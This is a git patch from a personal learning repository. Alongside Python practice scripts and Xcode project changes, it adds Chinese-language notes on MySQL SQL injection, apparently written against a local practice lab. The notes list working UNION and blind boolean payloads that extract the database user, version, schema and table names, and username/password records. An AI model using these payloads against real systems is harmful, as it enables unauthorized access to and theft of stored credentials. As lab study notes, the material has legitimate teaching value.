From 9f6dee7ac57fbd7caa4f1d5b569879f0609c256e Mon Sep 17 00:00:00 2001 From: acevest Date: Sat, 3 Oct 2015 18:41:08 +0800 Subject: [PATCH] add mysqlinjection.md --- .gitignore | 2 + documents/MySQLInjection.md | 100 ++++++++++++++++++ learn/python/OptParse.py | 1 + learn/python/decorator.py | 73 +++++++++++++ learn/python/func.py | 44 +++++++- learn/python/image.py | 1 + learn/python/list.py | 22 ++++ learn/python/mul.py | 15 +++ learn/python/scapy.0.py | 12 +++ learn/python/scapy.1.py | 15 +++ learn/python/str.py | 10 ++ learn/python/urllib.0.py | 23 ++++ learn/python/utils.py | 8 +- tools/AceBox/AceBox.xcodeproj/project.pbxproj | 2 + .../xcshareddata/AceBox.xccheckout | 8 +- .../UserInterfaceState.xcuserstate | Bin 24828 -> 28731 bytes .../AceBox/AceBox/Base.lproj/LaunchScreen.xib | 14 ++- .../AceBox/AceBox/Base.lproj/Main.storyboard | 42 +++++--- tools/comm/countc.c | 2 + tools/hack/ant.py | 20 ++-- tools/hack/app.py | 96 +++++++++++++++++ 21 files changed, 479 insertions(+), 31 deletions(-) create mode 100644 documents/MySQLInjection.md create mode 100755 learn/python/decorator.py create mode 100755 learn/python/mul.py create mode 100755 learn/python/scapy.0.py create mode 100755 learn/python/scapy.1.py create mode 100755 learn/python/urllib.0.py create mode 100755 tools/hack/app.py diff --git a/.gitignore b/.gitignore index 18789f4..d36b95c 100644 --- a/.gitignore +++ b/.gitignore @@ -3,3 +3,5 @@ *.pyc ish *.DS_Store +*.swp +dvwa diff --git a/documents/MySQLInjection.md b/documents/MySQLInjection.md new file mode 100644 index 0000000..524d857 --- /dev/null +++ b/documents/MySQLInjection.md @@ -0,0 +1,100 @@ +#MYSQL注入笔记 +##判断注入类型 +设数据库```security```里有如下```users```表。 + +``` +mysql> desc users; ++----------+-------------+------+-----+---------+----------------+ +| Field | Type | Null | Key | Default | Extra | ++----------+-------------+------+-----+---------+----------------+ +| id | int(3) | NO | PRI | NULL | auto_increment | +| username | varchar(20) | NO | | NULL | | +| password | varchar(20) | NO | | NULL | | ++----------+-------------+------+-----+---------+----------------+ +3 rows in set (0.00 sec) +``` +大致PHP代码如下 + +``` +"; + echo 'Your Password:' .$row['password']; + } else { + print_r(mysql_error()); + } +} else { + echo "Please input the ID as parameter with numeric value"; +} +?> +``` + +###1. 文本型 +```SELECT * FROM users WHERE id='$id' LIMIT 0,1;``` + +提交```?id=1' AND '1'='1```和```?id=1' AND '1'='2```来判断。 +###2. 数字型 +```SELECT * FROM users WHERE id=$id LIMIT 0,1;``` + +提交```?id=1 AND 1=1```和```?id=1 AND 1=2```来判断。 +##构造注入SQL + +###1. 猜解字段数 + +通过``` UNION ALL SELECT NULL```中的```NULL```来猜解表的字段数,例如对于```users```表采用```SELECT *```的话就需要把SQL构造成``` UNION ALL SELECT NULL, NULL, NULL#```,如果采用```SELECT username, password```就只需要``` UNION ALL SELECT NULL, NULL#```就能判断出了。因此如果程序中写的不是```SELECT *```的话,猜解出来的字段数与实际可能不太一样。 + +###1. 获取MySQL信息 + +如果想要获取数据库的一些信息可以利用已经显示出来的字段,在构造注入代码的时候将这些信息替换到已经显示的字段里。 + +例如对于```SELECT * FROM users WHERE id=1```,得到 + +``` ++----+----------+----------+ +| id | username | password | ++----+----------+----------+ +| 1 | Dumb | Dumb | ++----+----------+----------+ +1 row in set (0.00 sec) +``` + +对于```SELECT * FROM users WHERE id=1 UNION ALL SELECT NULL, CURRENT_USER(), NULL LIMIT 0,1;```,还是得到一样的结果。说好的数据库信息呢? + +``` ++------+----------+----------+ +| id | username | password | ++------+----------+----------+ +| 1 | Dumb | Dumb | ++------+----------+----------+ +1 row in set (0.00 sec) +``` + +所以还要对```SQL```语句稍加改造```SELECT * FROM users WHERE id=-1 UNION ALL SELECT NULL, CURRENT_USER(), NULL LIMIT 0,1;```就可以得到想要的结果 + +``` ++------+----------------+----------+ +| id | username | password | ++------+----------------+----------+ +| NULL | root@localhost | NULL | ++------+----------------+----------+ +1 row in set (0.00 sec) +``` +因此如果网页上展示了username,那么就能直接得到当前连接数据库的用户名。因此我们提交的构造代码关键部分为```-1 UNION ALL SELECT NULL, CURRENT_USER(), NULL```。另外需要注意的是构造出来的字段数要与原始正常```SQL```字段数相同。 + +* 获取当前连接数据库的用户名 ```-1 UNION ALL SELECT NULL, CURRENT_USER(), NULL``` +* 获取当前数据库的名字 ```-1 UNION ALL SELECT NULL, DATABASE(), NULL``` +* 获取当前数据库的版本号 ```-1 UNION ALL SELECT NULL, VERSION(), NULL``` +* 获取当前服务器上数据库数量 ```-1 UNION ALL SELECT NULL, (SELECT COUNT(*) FROM information_schema.SCHEMATA), NULL``` +* 如果不能直接通过网页得到数据库数量,可以通过```1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),CHAR(32)) FROM information_schema.SCHEMATA),1,1)) > ord('1') ```来猜解。 +* 猜解表名```1 AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),CHAR(32))) FROM information_schema.SCHEMATA LIMIT 0,1),1,1)) > ord('a')``` 当猜解的字母的值只有```>=0```成功时,表示该表名猜解完成。(其中```LIMIT x,y```中```x```表示从第几条记录开始查询,```y```表示最多要查询多少条记录)。通过变动```MID```和```LIMIT```的参数就可以把所有表名猜解完。 +* 猜解表的字段数 ```-1 UNION ALL SELECT NULL, (SELECT COUNT(*) FROM information_schema.COLUMNS where table_name='users' AND table_schema='security'), NULL``` 或 ```-1 UNION ALL SELECT NULL, IFNULL(CAST(COUNT(*) AS CHAR),CHAR(32)), NULL FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(115,101,99,117,114,105,116,121)``` +* 逐个猜解字段 ```-1 UNION ALL SELECT NULL, CONCAT(column_name, ' ', column_type), NULL FROM information_schema.COLUMNS where table_name='users' AND table_schema='security' LIMIT 0,1``` 或 ```-1 UNION ALL SELECT NULL, NULL, CONCAT(IFNULL(CAST(column_name AS CHAR),CHAR(32)), ' ', IFNULL(CAST(column_type AS CHAR),CHAR(32))) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(115,101,99,117,114,105,116,121) LIMIT 0,1``` +* 猜解记录数```-1 UNION ALL SELECT NULL, NULL, IFNULL(CAST(COUNT(*) AS CHAR),CHAR(32)) FROM security.users``` +* 逐个获取字段```-1 UNION ALL SELECT NULL, NULL, CONCAT(IFNULL(CAST(id AS CHAR),CHAR(32)), ' ',IFNULL(CAST(username AS CHAR),CHAR(32)), ' ', IFNULL(CAST(password AS CHAR),CHAR(32))) FROM security.users LIMIT 0,1``` diff --git a/learn/python/OptParse.py b/learn/python/OptParse.py index 39bfe43..a75a22d 100755 --- a/learn/python/OptParse.py +++ b/learn/python/OptParse.py @@ -7,6 +7,7 @@ # ------------------------------------------------------------------------ # -*- coding: utf-8 -*- +# python已经不再更新本库,可以改用argparse import optparse def main() : diff --git a/learn/python/decorator.py b/learn/python/decorator.py new file mode 100755 index 0000000..a1871d8 --- /dev/null +++ b/learn/python/decorator.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: decorator.py +# Author: Zhao Yanbai +# Fri Oct 2 19:00:55 2015 +# Description: 装饰器 +# ------------------------------------------------------------------------ + +import time +import functools + +def now() : + print time.asctime() + +######################## +def now0() : + now() + +now0() +print now0.__name__ + + +######################## +def log1(func) : + def wrapper1(*args, **kw) : + print '[This is the decorator] > ', + return func(*args, **kw) + return wrapper1 + +@log1 +def now1() : + now() + +now1() +print now1.__name__ + +######################## +def log2(param) : + # 先实现处理传入参数的函数 + # 再实现装饰器 + def decorator(func) : + def wrapper2(*args, **kw) : + print '[This is the parameter {0}] >'.format(param), + print '[This is the decorator] >', + return func(*args, **kw) + return wrapper2 + return decorator + +@log2('LOG2') #等价于 log2('LOG2')(now2) +def now2() : + now() + +now2() +print now2.__name__ + + + +######################## +# 让装饰器不影响函数名字 +def log3(func) : + @functools.wraps(func) + def wrapper3(*args, **kw) : + print '[This is the decorator] >', + return func(*args, **kw) + return wrapper3 + +@log3 +def now3() : + now() + +now3() +print now3.__name__ diff --git a/learn/python/func.py b/learn/python/func.py index a197999..304dfd3 100755 --- a/learn/python/func.py +++ b/learn/python/func.py @@ -77,6 +77,48 @@ print "before swap a =", a, "b =", b; swap(a, b); print "after swap a =", a, "b =", b; + + + +# 可变参数声明形式是是在参数前面加上'*' +def Sum(*num) : + s = 0 + for n in num : + s += n + return s + + +print Sum(1, 2, 3, 4, 5, 6) + +# 如果想把一个list or tuple当多个参数传进去只需要在list or tuple前加'*' +para = [i for i in range(0, 101)] +print Sum(*para) +para = (1, 2, 3) +print Sum(*para) + + +# 两个'*'表示可变关键字参数 +def ListParam(name, age, **kw) : + print 'name:', name, 'age:', age, 'other:', kw + +ListParam('Name.Ace', 99) +ListParam('Name.Bob', 7, city='Beijing') +ListParam('Name.Ada', 24, city='Shenzhen', gender='F', job='Engineer') +kw = {'city' : 'Chengdu', 'job' : 'IT', 'gender' : 'M'} +ListParam('Name.Jack', 9, **kw) + + +def Param(a, b, c=0, *args, **kw) : + print 'a=', a, 'b=', b, 'c=', c, 'args=', args, 'kw=', kw + +Param(1, 2) +Param(1, 2, c=3) +Param(1, 2, 3) +Param(1, 2, 3, 'a', 'b') +Param(1, 2, 3, 'a', 'b', 'c') +Param(1, 2, 3, 'a', 'b', 'c', pa='va', pb='vb') +Param(1, 2, *para, **kw) + # DocString def docstring_func(x): '''Print x. @@ -86,6 +128,6 @@ def docstring_func(x): docstring_func(1); print docstring_func.__doc__; -help(docstring_func); +#help(docstring_func); diff --git a/learn/python/image.py b/learn/python/image.py index cd3b316..7699a3e 100755 --- a/learn/python/image.py +++ b/learn/python/image.py @@ -8,6 +8,7 @@ # -*- coding: utf-8 -*- class Image : def __init__(self, width, height, filename="", background="#FFFFFF") : + # 以'__'开头的变量名为私有成员变量 self.__width = width self.__height = height self.__filename = filename diff --git a/learn/python/list.py b/learn/python/list.py index b763e77..856c021 100755 --- a/learn/python/list.py +++ b/learn/python/list.py @@ -20,6 +20,7 @@ L.sort() print L L.reverse() print L +print L[-1] def printLine(): print "-"*80 @@ -73,7 +74,22 @@ print L def sum(l) : def add(x, y) : return x+y return reduce(add, l, 0) + +def trans(l) : + def mul(x, y) : return x*10 + y + return reduce(mul, l) print "Sum of L is:", sum(L) +L = L[:9] +print L +print "Translate L to:", trans(L) + +print "Filter" +def isOdd(n) : + return n % 2 == 0 + +L = filter(isOdd, L) +print L + printLine() L = [" abc", "DE ", " FG ", " hi jkl "] @@ -98,3 +114,9 @@ for x in range(len(a)) : a += b print a + + +# 按下标循环 +print L +for i, v in enumerate(L) : + print i, v diff --git a/learn/python/mul.py b/learn/python/mul.py new file mode 100755 index 0000000..9981697 --- /dev/null +++ b/learn/python/mul.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: mul.py +# Author: Zhao Yanbai +# Thu Oct 1 15:10:27 2015 +# Description: none +# ------------------------------------------------------------------------ + +for j in range(1, 10) : + for i in range(1, 10) : + if i>j : + continue + print "{0}*{1}={2:<2d}\t".format(i, j, i*j), + print "" diff --git a/learn/python/scapy.0.py b/learn/python/scapy.0.py new file mode 100755 index 0000000..0f0d2c4 --- /dev/null +++ b/learn/python/scapy.0.py @@ -0,0 +1,12 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: scapy.0.py +# Author: Zhao Yanbai +# Thu Oct 1 11:19:02 2015 +# Description: none +# ------------------------------------------------------------------------ +import scapy +import scapy.all + + diff --git a/learn/python/scapy.1.py b/learn/python/scapy.1.py new file mode 100755 index 0000000..52da342 --- /dev/null +++ b/learn/python/scapy.1.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: scapy.1.py +# Author: Zhao Yanbai +# Sun Sep 27 11:12:24 2015 +# Description: none +# ------------------------------------------------------------------------ + +from scapy.all import * + +def packet_callback(packet) : + print packet.show() + +scapy.all.sniff(filter='tcp', prn=packet_callback, store=0) diff --git a/learn/python/str.py b/learn/python/str.py index adc6ee1..606d3ab 100755 --- a/learn/python/str.py +++ b/learn/python/str.py @@ -52,3 +52,13 @@ Google = 2 Microsoft = 3 print "{Apple} {Google} {Microsoft}".format(**locals()) +#r'' 表示''内的内容不用转义 +print r'a\nb\tc' +print r"a\n'b\tc" + +print r'''abc +c\tefghijlk\nfff +ffff''' + +print ord('A') +print chr(65) diff --git a/learn/python/urllib.0.py b/learn/python/urllib.0.py new file mode 100755 index 0000000..b93cd57 --- /dev/null +++ b/learn/python/urllib.0.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: urllib.0.py +# Author: Zhao Yanbai +# Thu Oct 1 12:15:20 2015 +# Description: none +# ------------------------------------------------------------------------ +import urllib +import urllib2 +import urlparse + +url = "http://192.168.1.101:8080/sqli/Less-1/index.php?id=1" + +print urlparse.urlsplit(url) + +request = urllib2.Request(url) +response = urllib2.urlopen(request) + + +print response.read() + +response.close() diff --git a/learn/python/utils.py b/learn/python/utils.py index 09e6a2e..9dd28ab 100755 --- a/learn/python/utils.py +++ b/learn/python/utils.py @@ -1,15 +1,21 @@ #!/usr/bin/env python +# -*- coding: utf-8 -*- # ------------------------------------------------------------------------ # File Name: utils.py # Author: Zhao Yanbai # Sat Apr 28 18:56:52 2012 # Description: none # ------------------------------------------------------------------------ -# -*- coding: utf-8 -*- import os +import collections print('HOME:\t' + os.getenv('HOME')) print('PATH:\t' + os.getenv('PATH')) print('PWD:\t' + os.getenv('PWD')) print('OLDPWD:\t' + os.getenv('OLDPWD')) + +#判断一个对象是否可以迭代 +print isinstance('0xACE', collections.Iterable) +print isinstance([1, 2, 3, 4], collections.Iterable) +print isinstance(0xACE, collections.Iterable) diff --git a/tools/AceBox/AceBox.xcodeproj/project.pbxproj b/tools/AceBox/AceBox.xcodeproj/project.pbxproj index 4d1edc2..cf18b9f 100644 --- a/tools/AceBox/AceBox.xcodeproj/project.pbxproj +++ b/tools/AceBox/AceBox.xcodeproj/project.pbxproj @@ -417,6 +417,7 @@ 50A4F2981AF2154100DB7E36 /* Release */, ); defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; }; 50A4F2991AF2154100DB7E36 /* Build configuration list for PBXNativeTarget "AceBoxTests" */ = { isa = XCConfigurationList; @@ -425,6 +426,7 @@ 50A4F29B1AF2154100DB7E36 /* Release */, ); defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; }; /* End XCConfigurationList section */ }; diff --git a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout index 97be529..7a2852c 100644 --- a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout +++ b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout @@ -7,21 +7,21 @@ IDESourceControlProjectIdentifier A1372EDB-125D-4A73-9AE8-955FA3D42EAE IDESourceControlProjectName - project + AceBox IDESourceControlProjectOriginsDictionary BA634633803B1A00DDD2BCDEF5C645E5844F56E6 - https://github.com/acevest/acecode.git + https://github.com/acevest/acecode IDESourceControlProjectPath - tools/AceBox/AceBox.xcodeproj/project.xcworkspace + tools/AceBox/AceBox.xcodeproj IDESourceControlProjectRelativeInstallPathDictionary BA634633803B1A00DDD2BCDEF5C645E5844F56E6 ../../../.. IDESourceControlProjectURL - https://github.com/acevest/acecode.git + https://github.com/acevest/acecode IDESourceControlProjectVersion 111 IDESourceControlProjectWCCIdentifier diff --git a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcuserdata/Ace.xcuserdatad/UserInterfaceState.xcuserstate b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcuserdata/Ace.xcuserdatad/UserInterfaceState.xcuserstate index dd6cba777495712787fadd9155e87495c4138d9b..06b1c0f5664e501d3cc67fd858f90f890844ac27 100644 GIT binary patch literal 28731 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 